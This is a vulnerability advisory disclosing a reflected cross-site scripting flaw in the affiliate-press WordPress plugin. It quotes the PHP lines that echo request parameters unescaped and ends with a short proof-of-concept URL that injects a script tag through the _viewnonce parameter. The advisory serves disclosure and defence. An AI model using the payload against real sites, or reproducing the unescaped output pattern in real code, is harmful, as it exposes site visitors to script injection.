Advisory #: 730
Title: Reflected XSS in wordpress plugin affiliate-press v0.3.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/affiliate-press
Downloads: 3454
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: affiliate-press
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./affiliate-press/views/feed-view.php: 6: <form action="?page=affiliate_press_view&amp;feed=<?php echo $feed['ID']; ?>&amp;action=view&amp;_viewnonce=<?php echo $_GET['_viewnonce']; ?>" method="get"> 7: <input type="hidden" name="page" value="<?php echo $_GET['page']; ?>" /> 8: <input type="hidden" name="_viewnonce" value="<?php echo $_GET['_viewnonce']; ?>" /> The variable _viewnonce appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./affiliate-press/views/feed-view.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/affiliate-press/views/feed-view.php?_viewnonce="><script>alert(1);</script><"